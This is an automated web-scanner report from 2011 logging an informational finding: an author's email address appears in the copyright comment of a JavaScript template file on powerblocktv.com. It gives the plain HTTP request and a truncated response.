Severity:   Information
Confidence:   Certain
Host:   http://www.powerblocktv.com
Path:   /site3/templates/rt_hyperion_j15/js/roktop-panel.js

Issue detail

The following email address was disclosed in the response:

Request

GET /site3/templates/rt_hyperion_j15/js/roktop-panel.js HTTP/1.1
Host: www.powerblocktv.com
Proxy-Connection: keep-alive
Referer: http://www.powerblocktv.com/site3/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: 797c281b27bb0fb82da6f6fa2d15c6d7=j7edhcslagi7fabj68o4ef19k2

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 16:42:26 GMT
Server: Apache/2.2.3 (Red Hat)
Last-Modified: Mon, 11 Aug 2008 19:44:32 GMT
ETag: "101000b-4e0-45434625ae800"
Accept-Ranges: bytes
Content-Length: 1248
Connection: close
Content-Type: application/x-javascript

/**
* RokTop-Windowed-Panel - A singleton to slide a windowed panel via Fx.Style
*
* @version        1.0
*
* @author        Djamil Legato <djamil@rockettheme.com>
* @copyright    Andy Miller @ Rocketth
...[SNIP]...

Report generated by XSS.CX at Mon Apr 18 12:25:30 CDT 2011.